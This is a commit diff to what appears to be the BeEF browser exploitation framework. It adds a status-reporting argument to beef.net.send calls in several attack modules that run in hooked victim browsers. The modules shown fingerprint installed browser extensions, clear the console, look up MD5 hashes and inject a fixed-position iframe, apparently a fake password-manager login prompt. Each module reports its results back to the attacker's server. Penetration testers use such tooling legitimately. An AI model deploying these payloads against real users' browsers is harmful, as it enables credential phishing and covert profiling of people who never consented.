Add ARE return status
This commit is contained in:
@@ -1087,7 +1087,7 @@ beef.execute(function() {
|
||||
detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);
|
||||
}
|
||||
} catch(e) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
|
||||
}
|
||||
} else if(beef.browser.isFF()) {
|
||||
try {
|
||||
@@ -1095,13 +1095,13 @@ beef.execute(function() {
|
||||
detect_firefox_extension(firefox_extensions[i], i);
|
||||
}
|
||||
} catch(e) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
|
||||
}
|
||||
} else if(beef.browser.isIE()) {
|
||||
try {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported', beef.are.status_error());
|
||||
} catch(e) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed', beef.are.status_error());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -6,5 +6,5 @@
|
||||
|
||||
beef.execute(function() {
|
||||
alert("<%= @text %>");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success());
|
||||
});
|
||||
|
||||
@@ -8,8 +8,8 @@ beef.execute(function() {
|
||||
try {
|
||||
beef.debug("Clearing console...");
|
||||
console.clear();
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.are.status_success());
|
||||
} catch(e) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.are.status_error());
|
||||
}
|
||||
});
|
||||
|
||||
@@ -13,7 +13,7 @@ beef.execute(function() {
|
||||
var re = /^[0-9a-f]{32}$/i;
|
||||
var valid_hash = re.exec(hash);
|
||||
if (!valid_hash) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid MD5 hash');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid MD5 hash', beef.are.status_error());
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -37,7 +37,7 @@ beef.execute(function() {
|
||||
}
|
||||
}
|
||||
if (!result) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "hash="+hash+"&fail=no results");
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "hash="+hash+"&fail=no results", beef.are.status_error());
|
||||
} else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "hash="+hash+"&result="+result);
|
||||
}
|
||||
|
||||
@@ -25,7 +25,7 @@ beef.execute(function() {
|
||||
beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');
|
||||
} else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error());
|
||||
}
|
||||
|
||||
// $j('body').append("<div id='lp_login_dia' style='width:375px; height:415px; position: fixed; right: 0px; top: 0px; z-index: "+beef.dom.getHighestZindex()+1+"; border: 1px solid white; overflow: hidden; display: none'></div>");
|
||||
|
||||
Reference in New Issue
Block a user